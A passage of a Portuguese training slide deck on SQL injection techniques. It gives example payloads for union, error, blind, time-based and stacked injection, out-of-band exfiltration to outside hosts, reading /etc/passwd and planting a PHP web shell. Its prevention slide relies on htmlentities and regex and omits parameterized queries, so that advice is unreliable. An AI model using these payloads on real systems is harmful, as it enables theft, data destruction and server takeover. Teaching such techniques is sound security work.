  • 17. SQL Injection Análise - Técnicas Union/In-band based • Exemplo: o $query = "select nome, telefone from usuarios where id = $_GET['id']" o http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#
  • 18. SQL Injection Análise - Técnicas Error based • Baseado na manipulação de mensagens de erro geradas pelo SGBD • Resultado limitado a um número X de caracteres. • Barulhento (gera mensagens de erro que podem ser armazenadas na máquina) • Exemplo: o d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=Submit o ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'
  • 19. SQL Injection Análise - Técnicas Out-of-band based • Uso de requisições DNS e HTTP para recuperar dados • Resultado limitado a uma quantidade X de caracteres • Exemplo: o utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1)) o 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0-- o utl_http.request('http://'||(select user from dual)||'.dyndns.com') o Verificar logs do bind/named ou; o Wireshark/tcpdump na porta 53 do servidor DNS.
  • 20. SQL Injection Análise - Técnicas Blind based • Realiza inúmeras comparações para obtenção da informação • Muito lento o Aperfeiçoado usando-se paralelismo (threads) o Aperfeiçoado usando-se busca binária. o Exemplo:  id=1 and substring(@@version, 1, 1)=5  id=1 and substring(@@version, 2, 1)='.'  etc
  • 21. SQL Injection Análise - Técnicas Full-blind time based • Baseada em tempo de resposta o waitfor delay '0:0:5', sleep(5), etc. • Mais lenta de todas • Pode-se utilizar paralelismo • Pode-se utilizar "heavy queries": o BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) • Pode gerar resultados inválidos/inconsistentes • Exemplo: o http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = 'dominiousuario') waitfor delay '0:0:5'-- o Dorme 5 segundos caso o loginame seja o especificado.
  • 22. SQL Injection Análise - Técnicas Stacked based • Permite alteração dos dados no BD. UPDATE, DROP, etc. • Possível somente em algumas tecnologias. • Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada em erro. • Exemplo: o busca=nome'; drop table noticias-- o busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5' else select 1;--
  • 23. SQL Injection Análise - File Access • Depende do nível de permissão do usuário. • Permite leitura, escrita e execução de arquivos com a permissão do usuário rodando o DBMS. • Exemplo: o Leitura:  id=1 union select load_file('/etc/passwd'); o Escrita:  id=1 union select "<?php system($_GET['cmd']); ?>" into outfile '/var/www/c.php';--  id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into outfile '/var/www/c.php';-- o Execução:  xp_cmdshell()  UDF Injection
  • 24. SQL Injection Evitando SQLi Sanitizar/tratar todos os parâmetros recebidos dos usuários. • Inteiro o Converter entrada para inteiro (intval(), is_numeric()); o Tratar possibilidade de números negativos; • String o Tratar entrada com regex o Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))  html, sql, etc. Tratar TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.
  • 25. SQL Injection Hands On - Ao que interessa • Demonstração de todos os passos para exploração de Web App Flaws. • DVWA - ferramenta de demonstração/aplicação de vulnerabilidades • SQLMAP - ferramenta para extração de dados
  • 26. SQL Injection Referências • Google codelab: http://google-gruyere.appspot.com/ • Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc. • Tabela ASCII: http://www.asciitable.com/ • SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql- injection-cheat-sheet/